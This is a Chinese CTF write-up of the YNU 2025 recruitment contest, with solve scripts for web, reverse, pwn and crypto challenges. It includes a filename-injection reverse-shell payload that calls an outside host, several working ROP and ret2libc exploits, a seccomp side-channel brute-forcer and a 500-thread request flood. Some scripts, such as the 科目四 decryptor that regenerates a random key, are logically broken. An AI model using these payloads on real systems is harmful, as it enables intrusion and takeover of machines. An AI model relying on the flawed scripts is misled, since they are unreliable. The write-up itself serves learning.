ynu的25年校队招新赛,侥幸混了个总榜rk3,过程很曲折,但也确实学到了很多东西
WEB
Darksoul3
魂!

一个需要根据黑魂3物品描述,然后提交物品名称的题目,根据提示,需要写脚本自动提交1000次,那首先找找爬取网站,https://www.vgbaike.com/这个VG百科就挺不错的,然后写脚本,先把物品描述爬下来,然后放到网站中搜索,找到对应的物品名称

把物品名称返回给题目网站提交,等到correct:1000/1000就行了,哦别忘了前面还有一个start要点击,不然看不到题面,之前失败过几次,有个教训,最后一次提交后还要刷新一下才能返回页面结果,最后附上脚本如下:
import requests`
from bs4 import BeautifulSoup`
import time`
def solve_ctf():`
base_url =`"http://9998-4533eacd-08b3-4b9a-bc51-b5a917d2c4fc.challenge.ctfplus.cn/\"`
session = requests.Session()`
\# 点击start`
initial_response = session.get(base_url)`
start_link = BeautifulSoup(initial_response.text,`
\'html.parser\').find(\'a\', text=\'start\')`
if not start_link:`
print(\"错误: 未找到start链接\")`
return`
\# 获取初始题目页面`
question_page = session.get(base_url +`
start_link\[\'href\'\].lstrip(\'/\'))`
count = 0`
while True:`
try:`
count += 1`
\# 解析当前题目页面`
soup = BeautifulSoup(question_page.text, \'html.parser\')`
description = soup.find(\'p\').get_text(strip=True)`
\# 搜索物品`
search_url = f\"https://www.vgbaike.com/search.html?wd={description}\"`
search_response = requests.get(search_url)`
search_soup = BeautifulSoup(search_response.text, \'html.parser\')`
item_link = search_soup.find(\'a\', href=lambda href: href and`
\'/dark_souls_3/\' in href)`
if not item_link:`
print(f\"\\n第{count}次: 未找到匹配物品,描述内容: {description}\")`
print(\"可能原因: 1.描述不完整 2.百科无此物品 3.网络问题\")`
print(\"正在重新尝试\...\")`
question_page = session.get(base_url)`
continue`
item_name = item_link.text.strip()`
submit_url = f\"{base_url}?answer={item_name}\"`
result = session.get(submit_url)`
result_soup = BeautifulSoup(result.text, \'html.parser\')`
progress = result_soup.find(string=lambda t: t and \'correct:\' in t)`
if progress:`
progress = progress.strip()`
current, total = map(int, progress.split(\':\')\[1\].split(\'/\'))`
print(f\"\\n\[进度\] {progress} \| 已完成: {current/total\*100:.2f}%\")`
\# 如果完成了1000次正确提交`
if progress == \"correct:1000/1000\":`
\# 再刷新一次页面`
result = session.get(base_url)`
\# 打印最后一次正确提交后的页面内容`
print(\"\\n=== 最后一次提交后的页面内容 ===\")`
print(result.text)`
return`
print(f\"第{count}次提交: {item_name} - {progress}\")`
else:`
print(f\"第{count}次提交: {item_name} - 进度未知\")`
\# 获取新题目页面`
question_page = session.get(base_url)`
\# 不再等待 1 秒,尽可能加速进度`
\# time.sleep(1) \# 已去除`
except Exception as e:`
print(f\"\\n第{count}次出错: {str(e)}\")`
print(\"5秒后重试\...\")`
time.sleep(5)`
continue`
if \_\_name\_\_ == \'\_\_main\_\_\':`
solve_ctf()`

Neko

上网找到了修改教程
core.changeFloor('Start', 0, 0, 'up');
setTimeout(()=>{ core.changeFloor('MT350', 0, 0, 'up'); }, 500);跳转到350层
增加人物自身能力
core.setStatus('hp',9999999999999999999999999999999999999999999999)
core.setStatus('atk',999999999999999999999999999999999999999999999)
core.setStatus('def',999999999999999999999999999999999999999999999)
core.setStatus('money',99999)
core.setStatus('mdef',99999)
core.setItem('redKey',99)
core.setItem('yellowKey',99)
core.setItem('blueKey',99)
core.setItem('greenKey',99)
core.setItem('bomb',99)
core.setItem('hammer',99)
core.setItem('pickaxe',99)
core.setItem('earthquake',99)
ynuctf{7406f854-bc7f-4e55-8e72-5fc626c51644}
观看通关教学
通关后直接出弹窗
中间被黄色的怪卡住,多打几次就可以解除封印打左阿了
附上相关修改代码
core.changeFloor('Start', 0, 0, 'up');
setTimeout(()=>{ core.changeFloor('MT350', 0, 0, 'up'); }, 500);
if (core.floors[core.status.floorId].events['6,0']) {
core.trigger('6,0'); // 强制触发6,0位置的事件
setTimeout(() => {
core.enemys['左阿'].hp = 0; // 假设BOSS ID是'左阿'
core.enemys['纳可'].hp = 0; // 假设另一个BOSS ID是'纳可'
core.updateStatusBar();
}, 500);
}
// 方法2:直接通关
if (typeof core.win === 'function') {
core.win('强制通关特殊BOSS战');
} else {
core.status.gameOver = true;
core.status.win = true;
core.drawMap();
}
core.setStatus('hp',9999999999999999999999999999999999999999999999)
core.setStatus('atk',999999999999999999999999999999999999999999999)
core.setStatus('def',999999999999999999999999999999999999999999999)
core.setStatus('money',99999)
core.setStatus('mdef',99999)
core.setItem('redKey',99)
core.setItem('yellowKey',99)
core.setItem('blueKey',99)
core.setItem('greenKey',99)
ezrust
先分析main.js,Rust代码
– / : 首页,显示当前功德值,如果超过10亿会显示flag
– /reset : 重置功德值为0
– /upgrade : 处理功德操作
使用自动化攻击脚本
import requests
import threading
import time
url = "http://2333-b0318ed1-c560-479b-b929-8290ed592306.challenge.ctfplus.cn/upgrade"
data = {"name": "Loan", "quantity": 1}
# 使用连接池和会话保持
def worker():
session = requests.Session()
while True:
try:
session.post(url, data=data, timeout=3)
except:
pass
# 启动500个线程
threads = []
for i in range(500):
t = threading.Thread(target=worker, daemon=True)
t.start()
threads.append(t)
print(f"已启动线程 {i+1}/500", end='\r')
# 监控进度
check_url = url.replace("/upgrade", "")
while True:
try:
r = requests.get(check_url, timeout=5)
if "flag" in r.text:
print("\nFlag获取成功!")
print(r.text)
break
time.sleep(10) # 每10秒检查一次
except:
pass
用代码跑,有点耗时间,但是还是出来了

Ezpython
这是一个文件上传题目,要求上的是tar文件,这里我用的是命令注入漏洞以及反向 shell 的构造,需要用到内网穿透,找一个免费公网ip,然后随便构造一个tar文件上传,bp抓包,

修改下文件名,把我的公网ip放进去base64编码,Content-Disposition: form-data; name=”file”; filename=”999.tar || echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC9zMC52MTAwLnZpcC8zODMwIDA+JjEi | base64 -d | bash ||”,然后在kali监听我的2333端口,弹到shell了

由于一些操作不熟悉,绕的久了些,
这个 payload 能成功的关键是服务器端存在文件名命令注入漏洞,且在解压时没有有效过滤恶意命令。通过利用这种漏洞,攻击者能够在上传的文件中嵌入命令,触发反向 shell 并建立到本地监听端口的连接。
Misc
sign1
随波逐流一把梭

sign2
题目提示下半身去哪了,猜测是修改过png高宽,丢到随波逐流修改一下,

hello No 10
sign3
直接先一把梭,

Binwalk发现有文件可以分离,
一个压缩包,有密码,ziperello爆一下就行,123456
sign4
一个pcapng流量包,
丢到随波逐流中看下

sign5
encoded_text = “𐙹页魴鵻鵡鵡鑡𒁹鑵陨驶𔕟鹨驴驟驹𠍳”
decoded_bytes = base65536.decode(encoded_text) # 只进行Base65536解码,得到bytes对象
sign6
解密过程
Base64->栅栏->凯撒
凯撒(变化字符)

sign7
先看图片的EXIF信息:
拍摄时间是2024-8-18 14:30,照片中可以在机翼上看到一个标号B-2419。
直接在[flightaware](https://www.flightaware.com/)中搜索这个标号,应该是飞机的注册号:

可以搜到这是一架东航的飞机
但是查看更早的航班需要会员,那我们就试试手机app航班管家,找到那一天这个时候的航班飞行纪录

ynuctf{MU5156_济宁市}
Realsignin
Gif让我扫码,那就先一帧一帧分解出来,
放到在线ps里调整下,左边正的,右边倒着的,
尝试扭曲还原,但最终发现扫不出来,可能是拼的太难看了,于是用https://merri.cx/qrazybox/这个网站自己手动绘制试试,

中间自动补全,

Reverse
Ez_jni
下载附件,一个apk,那先打开我们的mumu模拟器看看
输入一段文本然后process,会根据结果输出true或者false,
丢到jadx里,搜索flag无果,接着解压看看so文件,再丢到ida
根据JNI_OnLoad 函数的伪代码,经过分析后可以确定它实现了一个 RC4 加密算法,并在初始化过程中对某些数据(可能是加密后的 flag)进行了解密,然后shift+f12搜索下jni,

发现jni_Cloudever这个字符串,接着看看引用

关键找到了,jni_Cloudever这个就是我们的密钥,然后分析代码,利用python脚本如rc4解密
from binascii import unhexlify
# 合并后的32字节密文(xmmword_15000 + xmmword_15010)
cipher = unhexlify("8D851F15AB765E28581A4B0D5788E1E04F0BB13A8B39005D81D9C772BD0B90C3")
key = b"jni_CloudEver"
def rc4_decrypt(cipher, key):
S = list(range(256))
j = 0
# 密钥调度
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 生成密钥流并解密
i = j = 0
plain = []
for k in range(len(cipher)):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
plain.append(cipher[k] \^ S[t])
return bytes(plain)
plain = rc4_decrypt(cipher, key)
print(plain.decode())
ezmap
搜索ynu找到这个,顺着摸

来到main函数部分看看,
得到Flag生成逻辑 当路径验证通过时:
"Flag: ynuctf{3814697265625", // 固定前缀
*v44, // 用户输入的路径
"}" // 后缀
flag格式为: ynuctf{3814697265625[用户路径]}
验证要求 :
必须通过 main_validatePath 验证
需要正好18步路径
– 必须到达迷宫终点 $
接下来我们看看main_validatePath

这是一个 迷宫行走验证算法 ,验证输入路径是否能从起点走到终点(‘$’)
使用方向控制字符:W(上)、S(下)、A(左)、D(右)
得到switch(main_maze[3 * v15][v14]) {
case ‘#’: return 0; // 撞墙
case ‘$’: break; // 到达终点
default: break; // 普通路径
}
之后跳到地图mai_maze的地址57A1E0

得到地图构造
maze = [
“##$############”, # y=0
“##!############”, # y=1
“##r#duo########”, # y=2
“##evE#lC2e#####”, # y=3
“#########m#####”, # y=4
“######elco#####”, # y=5
“######w########” # y=6
]
然后自己试着从最下面的W走一下,走到上面$不撞墙刚好16步,
WDDDWWAAAWAASAAWWW
这是关于路径的部分
最后输入程序就行
Ez_apk

根据代码分析,你需要输入一个特定的字符串,使得经过加密后与 TARGET_ENCRYPTED = “RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN” 完全匹配
密钥已知: SECRET_KEY = “ynuCTF_CloudEver”
准备密文: RpCFpywZhFRfuAGBxz6wlY/sTELIEx9rUgMJbswe0gxSQtisQ9AyFUbSgbM9fxUN
Base64解码密文
用AES解密二进制数据,输出解密结果

Ez_llvm
这道题我是有点非预期了,用llvm混淆,得到源c文件,看看,

分析代码,要求输入29个字符,- 然后,它进入一个循环,从索引0开始,循环条件和步长都是通过一系列复杂的数学表达式计算得出的。
在循环中,它检查当前字符与另一个位置的字符进行异或操作后,是否等于预定义的target数组中对应位置的值。
最后,它还检查一个特定位置的字符与某个计算值的异或结果是否等于target数组中的特定值。猜测flag藏在target中,
然后用ida打开,找到有关target数组和dword全局变量,
刚好29个

从已知前缀ynuctf{开始,通过异或关系直接推导后续字符暴力解决(doge)
# 给定的target数组(十六进制)
target = [
0x17, 0x1B, 0x16, 0x17, 0x12, 0x1D, 0x17, 0x5D,
0x47, 0x1B, 0x32, 0x27, 0x48, 0x42, 0x2D, 0x2C,
0x1B, 0x01, 0x0F, 0x12, 0x2B, 0x6E, 0x42, 0x2C,
0x39, 0x13, 0x1B, 0x13, 0x28
]
# 已知flag前缀为 "ynuctf{"(7字节)
flag = list(b"ynuctf{") + [0] * (29 - 7) # 初始化剩余字符为0
# 从第7个字符开始推导(索引6是'{')
for i in range(6, 28): # 覆盖到索引27
if flag[i] == 0: # 未推导的位置跳过
continue
# 根据异或规则:flag[i] \^ flag[i+1] = target[i]
flag[i+1] = flag[i] \^ target[i]
# 处理最后一个字符(索引28)
# 根据反编译代码中的最终约束条件:flag[28] \^ key = target[28]
# 假设 key=0x28(根据题目特征推导)
flag[28] = target[28] \^ 0x28 # 0x28 \^ 0x28 = 0x00
# 输出结果(自动填充可能的字符)
print("暴力推导结果:", bytes(flag).decode(errors="replace"))
ez_pyd
分析代码逻辑:
从用户输入获取flag
使用 xor.encrypt() 函数对flag进行加密,应该是异或类型的,可以反向回去
将加密结果与固定字符串 “0e0b1900440b1e4511172a0d1b1228111e1a6f155540261c1015111404004d1e” 比较,根据比较结果输出”wrong”或”right”
那就直接把这串字符进行16进制转换,再异或一遍就行

PWN
babystack
简单签到
开了NX (堆栈不可执行)
必须使用ROP或已有代码片段进行攻击,无 canary,可以直接进行栈溢出
而且所有地址都是固定的
搜索字符串里找到bin/sh,存在后门函数
后门函数入口: 0x4006E6
ret指令地址: 0x4006FA (栈对齐)
buf 到 rbp 的距离:0x10 (16字节)
rbp 到返回地址的距离:0x8 (8字节)
总偏移量 = 16 + 8 = 24字节
EXP
from pwn import *
context(os='linux', arch='amd64')
p = remote('nc1.ctfplus.cn', 44662)
# 接收欢迎信息
p.recvuntil(b"length of your name:")
p.sendline(b"100") # 触发溢出
# 构造payload
offset = 24
payload = b'A'*offset
payload += p64(0x4006FA) # 先执行ret指令对齐栈
payload += p64(0x4006E6) # 跳转到后门函数
p.sendlineafter(b"name?", payload)
p.interactive()
Babyrop
检查保护机制,开了NX,没有栈保护
ida看下vuln函数,明显的栈溢出

有提示字符串”Can u return to libc ?”
那用标准的ret2libc
注意补一下glibc 2.25 对应的libc.so.6文件就行
exp
from pwn import *
p = remote('nc1.ctfplus.cn','28055')
elf = ELF('./pwn')
pop_rdi = 0x0000000000400733
payload = b'A'*0x28
payload += p64(pop_rdi) + p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.sym.main)
p.send(payload)
p.recvuntil('story!\n')
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
log.success(hex(puts_addr))
system = puts_addr - 0x2a300
binsh = puts_addr + 0x11d7b7
payload = b'A'*0x28
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
dizzy
保护全开

这里就是关键,”输入数组 + 字符串比对 + 条件触发 shell,首先从用户那里读入一系列 short(16 位整数),写入 command 缓冲区,然后command 开头的一段区域执行 += 99,一次处理 4 字节 (int)。也就是说你输入的数字,最终会变成 输入值 + 99 存到 command 里,最后如果 command[0] == byte_201010,就会去逐字节比对两个字符串是否相同,一旦 mismatch 或 byte_201010 结束,就判断是否 *v6 != 0,只要 byte_201010 还没结束(即不全匹配),就会 exit(1),我们看看byte_201010,

0x50 = ‘P’,拼起来就是”PvvN| 1S S0 GREAT!”, command 缓冲区的大小为 0xA0 字节,即 160 字节。程序通过 _isoc99_scanf(“%d”, v5); 读取整数,并将其存储在 command 缓冲区中,每次读取占用 4 字节(一个 int)。因此,最多可以读取 160 / 4 = 40 个整数。所以我们可以填充到80个字节,目标字符串 “PvvN| 1S S0 GREAT!;/bin/sh” 的长度小于 80 字节,为了确保在转换为整数数组时,每 4 字节一组,填充至 80 字节可以得到 20 个整数。这样可以确保 payload 的长度与程序预期的输入长度一致,避免因长度不足导致的错误。
构造 Payload:
我们需要将目标字符串转换为整数数组,每个整数代表4个字符的ASCII码(小端序)。然后,从每个整数中减去99,以抵消程序中 *v3++ += 99; 的操作。
中间失败了无数次后,总结发现程序在遇到第一个 null 字节就结束(验证只检测到了 “PvvN| 1S S0 GREAT!”),这时候就得利用;,分隔后前半段是错误的后面的仍可执行,再考虑字符串的截断
exp
from pwn import *
context.log_level = "debug"
io = remote("nc1.ctfplus.cn", 33301)
# 构造目标字符串,并填充至80字节
payload_str = "PvvN| 1S S0 GREAT!;/bin/sh".ljust(80, "\x00")
# 将字符串转换为整数数组
arr = []
for i in range(0, len(payload_str), 4):
chunk = payload_str[i:i+4]
# 确保chunk长度为4
chunk = chunk.ljust(4, "\x00")
# 将每个字符转换为ASCII码,并组合为整数(小端序)
val = (ord(chunk[3]) << 24) | (ord(chunk[2]) << 16) | (ord(chunk[1]) << 8) | ord(chunk[0])
# 减去99以抵消程序中的加法操作
val -= 99
arr.append(val)
for val in arr:
io.sendline(str(val))
io.interactive()
cmp
这个题我磨了很久,主要困扰在对侧信道还不怎么懂
没有栈保护, 栈可执行,开了PIE
nc连上去发现给了三个地址
再看下main函数

自报家门,直接泄露了libc中puts的地址,flag地址,还有全局变量y
但是让往全局变量里写东西(最多写0x40字节),却没检查这个变量实际能装多少
栈上明明只开了32字节的空间,却允许读入0x100字节,典型的缓冲区溢出
发现还存在seccomp沙箱,禁用了系统调用
结合题目侧信道,考虑逐字节爆破盲打,让程序在“猜对字符”和“猜错字符”时表现出不同的状态
def sig_judge(r):
try:
r.recvline(timeout=1) # 尝试接收数据,设置超时
print("loop!")
return True
except Exception as e:
print("EOF") # 如果连接断开
return False
如果猜对了:程序顺利执行完比较函数,接着执行最后的 syscall。如果最后的 syscall 是 read,程序会挂起(Block)等待用户输入,或者只是单纯的活着。此时 recvline 会超时(但连接未断开),或者如果程序有回显,脚本判定为“连接存活”。
如果猜错了:程序在比较函数中(或者比较之后)发生了崩溃(Crash)或者主动退出(Exit)。此时 TCP 连接关闭,脚本捕获到 EOF 异常
这里也是磨了很久,主要是字符串爆破的范围还要考虑连接时候的稳定性
exp
import sys
from pwn import *
import time
binary = './pwn'
libc = './libc.so.6'
bpt = [
"*$rebase(0x14c6)",
'*0x'
]
libc = ELF(libc)
t = ELF(binary)
def sig_judge(r):
try:
r.recvline(timeout=1)
print("loop!")
return True
except Exception as e:
print("EOF")
return False
fuzz_part = ''
# 根据flag格式 利用已知前缀"ynuctf{" 开始猜
# count 用于计算当前猜测部分的长度
count = len("ynuctf{" + fuzz_part) + 1
# 这里扩展字符范围为从 32 到 256(即包括所有扩展ASCII字符)
char_range = range(32, 256)
# 外层循环:每个位置的字符猜解
while True:
found_char = False # 当前位置是否找到正确字符
# 内层循环:遍历所有候选字符
for num in char_range:
c = chr(num)
print(f"Trying character: {c} -- Candidate for current position, building flag: ynuctf{{{fuzz_part}{c}")
r = remote("nc1.ctfplus.cn", 23207)
r.recvuntil("puts address:")
puts_addr = int(r.recv(14), 16)
libc_base = puts_addr - libc.sym['puts']
r.recvuntil("flag:")
flag_addr = int(r.recv(14), 16)
t_base = flag_addr - 0x4060
print(f"Libc base: {hex(libc_base)}, t_base: {hex(t_base)}")
fuzzflag_addr = t_base + 0x40A0
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx_rbx = libc_base + 0x904a9
syscall_addr = libc_base + 0x29db4
# 构造要发送的数据,注意flag格式为 "ynuctf{"
fuzz_flag = "ynuctf{" + fuzz_part + c
onepayload = fuzz_flag.encode("utf-8").ljust(0x40, b'\x00')
r.sendafter("Guess\n", onepayload)
# 构造ROP payload,此处填充了缓冲区(0x28 字节),然后利用ROP链操作
payload = b'i' * 0x28
payload += p64(pop_rdi) + p64(flag_addr)
payload += p64(pop_rsi) + p64(fuzzflag_addr)
payload += p64(pop_rdx_rbx) + p64(count) + p64(0)
payload += p64(libc_base + 0x28590)
payload += p64(pop_rdi) + p64(0) + p64(syscall_addr)
r.send(payload)
# 根据响应判断是否猜对当前字符
if sig_judge(r):
found_char = True
count += 1
fuzz_part += c
print(f"Success: Current flag so far: ynuctf{{{fuzz_part}")
r.close()
break
else:
print(f"Failed for character: {c}")
r.close()
#短暂延时避免请求过快
time.sleep(0.2)
# 如果当前位置没有任一字符通过,则退出猜解(说明无法获得正确字符)
if not found_char:
print("No valid candidate found for current position. Ending fuzzing process.")
break
if fuzz_part.endswith('}'):
break
print("Finish!!!")
print(f"Final flag: ynuctf{{{fuzz_part}")
跑了10分钟左右爆出来了
encrypted_stack
例行检查 ,没有栈保护,开了NX,数据段不可执行。同时栈也是不可执行的,没有PIE,内存地址固定
看看main函数

分析一波
程序初始化后显示”press enter”和”input key”提示
进入一个循环20次的验证过程(v3初始为20)
每次循环中:生成一个随机数v5并显示
读取用户输入到v14[0]
进行一系列复杂的数学运算
最后比较用户输入经过运算后的结果是否等于原始随机数v6
这里看看这两个qword的值

可以确定就是标准RSA加密流程,n和e就是这两个值
那么程序给的就是密文c了,要解出明文m放进去回答,然后连续通过20次验证就行

读取完输入通过验证后,利用栈溢出构造rop写bin/sh来打
exp
from pwn import *
from Crypto.Util.number import inverse
from LibcSearcher import LibcSearcher
import time
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
HOST, PORT = "nc1.ctfplus.cn", 30577
# ========== RSA 参数 ==========
n = 94576960329497431
e = 65537
p = 261571747
q = 361571773
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
def pass_rsa_challenge(io):
for i in range(20):
while True:
line = io.recvline().strip()
if line.isdigit():
v6 = int(line)
break
else:
log.debug(f"[RSA-{i}] Skipped: {line}")
answer = pow(v6, d, n)
io.sendline(str(answer))
io.recvuntil(b"Your input is ")
io.recvline()
def leak_puts(io, payload):
io.sendlineafter(b"input you name:\n", payload) # 确保等待到这个提示
leaked = io.recvn(6)
log.info(f"Raw leaked bytes: {leaked.hex()}")
puts_addr = u64(leaked.ljust(8, b'\x00'))
log.success(f"Leaked puts address: {hex(puts_addr)}")
return puts_addr
def resolve_libc(puts_addr):
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
return libcbase, system_addr, binsh_addr
def main():
while True:
try:
io = remote(HOST, PORT)
# ========== 第一阶段 ==========
io.recvuntil(b"press enter") # 等待提示
io.sendline() # 发送 Enter
io.recvuntil(b"input key") # 等待到 input key
pass_rsa_challenge(io)
io.recvuntil(b"input you name:\n") # 等待名字提示
# ========== 第一轮 payload,泄露 puts ==========
pop_rdi = 0x400952
puts_plt = 0x400700
puts_got = 0x602018
main_addr = 0x4007E0
ret=0x4006e1
payload1=b"a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload1)
puts_addr=u64(io.recv(6).ljust(8,b"\x00"))
print("puts_addr=="+hex(puts_addr))
# ========== 解析 libc ==========
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
print("libcbase:",hex(libcbase))
system_addr=libcbase + libc.dump("system")
gets_addr = libcbase + libc.dump("gets")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
log.success(f"system address: {hex(system_addr)}")
log.success(f"bin_sh address: {hex(bin_sh_addr)}")
# ========== 第二阶段 ==========
io.recvuntil(b"press enter") # 等待提示
io.sendline() # 发送 Enter
io.recvuntil(b"input key") # 等待到 input key
pass_rsa_challenge(io)
io.recvuntil(b"input you name:\n") # 等待名字提示
# ========== 第二轮 payload,打 shell ==========
payload2 = b"a" * 0x48 + p64(pop_rdi) + p64(0x602100) + p64(gets_addr) + p64(pop_rdi) + p64(0x602100) + p64(ret) + p64(system_addr)
io.sendline(payload2) # 发送第二轮 payload
io.interactive() # 获取 shell
break
except Exception as e:
log.warning(f"Error occurred: {e}")
try:
io.close()
except:
pass
time.sleep(1)
if __name__ == "__main__":
main()
CRYPTO
科目一
基础rsa解密
什么都给了,一把梭就行,

科目二
from Crypto.Util.number import inverse, long_to_bytes
from gmpy2 import isqrt
n = 14800398328881299590819340504190580380456092059631690075005063133984540881936660258452775621223924666544144954334836222555637121913861461911511120598772742612257211866734223223551169379845956377316463148565472319496083497784140506423369878869325653192628559394438100890677759092281833985211109032193525146470474574038555501027831794382526298588084843624151270091755405172125755295019041607824556110833400237603510574340077488066619464463891145936844856029790556031249993366491347944857952783644884517487931959497277671000233728500580815998316871028625130306976346553172765025393568266481210362221045569800909331412733
c = 3226683255719031196217848694899679951486791739097829974521488957087083213961668895509559743441356033794647718015708053443544565749857917384859689397409032230013960380856389863512174152232545827021355026091788157830227404858132633755050279847337901334912864925648797224438856698330421196499553619596082492124166150997294968457955820549848688256744335135338361133281398238702530869245058134224833345813289889841131448598573914060539200838772794599083335075442300325391226963163497906943787479197157629086054275039547426187240897804712471769266518411206372631294491714326407919153747950197382718191269761217869751488836
hint = 12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
# 计算x = 514*p - 114*q
x = inverse(hint, n)
# 解二次方程求p
a = 514
b = -x
c = -114 * n
discriminant = b**2 - 4*a*c
root = isqrt(discriminant)
p = (x + root) // (2 * a)
q = n // p
# 验证分解是否正确
assert p * q == n
print(f"分解成功:")
print(f"p = {p}")
print(f"q = {q}")
# 现在可以解密flag了
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
科目三
from gmpy2 import *
from Crypto.Util.number import *
n=15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c=10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
hint1=954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
hint2=7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
e = 0x10001
for i in range(2**11):
for j in range(2**11):
p = gcd(n,j*(hint1+0x114) - i*(hint2+0x514))
if p != 1 and p != n:
q = n//p
phi = (p-1)*(q-1)
d = invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
break
#x1 x2比较小,可以考虑爆破,(hint2+0x514)*x1 = x1x2p+x1y2q
#(hint1+0x114)*x2 = x1x2p+x2y1q
#两项相减 右边剩下 k*q,和n取公因数即可
科目四
from Crypto.Util.number import *
import uuid
from sympy import *
# 给定的密文
c = 6571049256120979380478956075029414807834522817224308933941845420602424281666027318257440176282179258008674533223097045800178199277242900734878321766748394089339785153695025229322622953658315810
# 重新生成key和计算参数(与加密时相同)
key = b'key{' + str(uuid.uuid4()).encode() + b'}'
m1 = bytes_to_long(key)
m2 = bytes_to_long(''.join(chr((ord(i) +2) % 128) for i in key.decode()).encode())
x = m2 - m1
p = nextprime(x)
n = p*p
e = 65537
# 计算欧拉函数
phi = p * (p - 1)
# 计算私钥
d = inverse(e, phi)
# 解密
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print("解密后的flag:", flag)
signin1
一道RSA问题,可能需要用一些已知高位攻击的方法,首先,我需要确定m的未知部分x的长度。题目中m_high是m右移64位后的结果再左移64位,所以x的低64位未知,所以x的值范围是0到2\^64-1。所以x的位数是64位,这应该足够小,可以被Coppersmith方法处理
Coppersmith定理的条件是,当未知的位数小于n的位数的1/e,n的值是给定的,但我们可以算一下。n的十六进制长度可能很大,但假设n是2048位的模数的话,那么1/e大约是1/3,即大约683位。但这里未知的位数只有64位,显然远小于这个限制,所以应该可以用Coppersmith方法,构造多项式:设未知的低64位为x,则m = m_high + x。加密过程为c ≡ (m_high + x)\^3 mod n,对应的多项式方程为(m_high + x)\^3 – c ≡ 0 mod n,脚本如下:
from sage.all import *
n = 22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
e = 3
c = 27091082454125034709660465484186175481294547541915314357428478859775459918462993752000949426427351121381005723451455537027301071775833846318612013393929395332670588224596463878232882207935407881802031486452494491990307689920104930994688222105464546716718442197687350963630258262135529644577487776191919246614888483885478030439860492032522757697088199449807080875330693644177211961129758831318676484517444567023668238987052635277498277452417641451725711327258651748101500112041968643835679591426500841978386212815251521283368037
m_high = 30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633404045742635155577634816
# 构造多项式环
P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
# 定义多项式 (m_high + x)\^e - c
f = (m_high + x)**e - c
# 将多项式转为首一多项式
f = f.monic()
# 寻找小根,X是解的上界,这里x最多是64位,所以X=2\^64
roots = f.small_roots(X=2\^64, beta=0.5)
if roots:
x0 = roots[0]
m = m_high + x0
# 将m转换为字节
flag = bytes.fromhex(hex(int(m))[2:])
print("Flag:", flag.decode())
else:
print("No roots found")
Flag: ynuctf{you_will_get_high_score_fighting_for_the_last_one_i_will_wait_you}
Signin2
import gmpy2
import libnum
e = 114
p = 148294375337784953961006816644772879111937895613024930260535417412414748448269600108911770957280643311137972682188515112723421841991258318554872296491878779103425816763932645053428239050518024919617854417726804221385895450878839755919561981889906508029235131670359323906076157852344713532647055392564414789969
q = 175808728662809036525888983677017424775807087476419568408284072484109706199100351104810334225329333492988436671420594297516672524735825002402320193077682291062883195053847663154728131665731526338788024203413165230309959222970443927928740718822655039075289973972271807990007354744397850897562639577869203111597
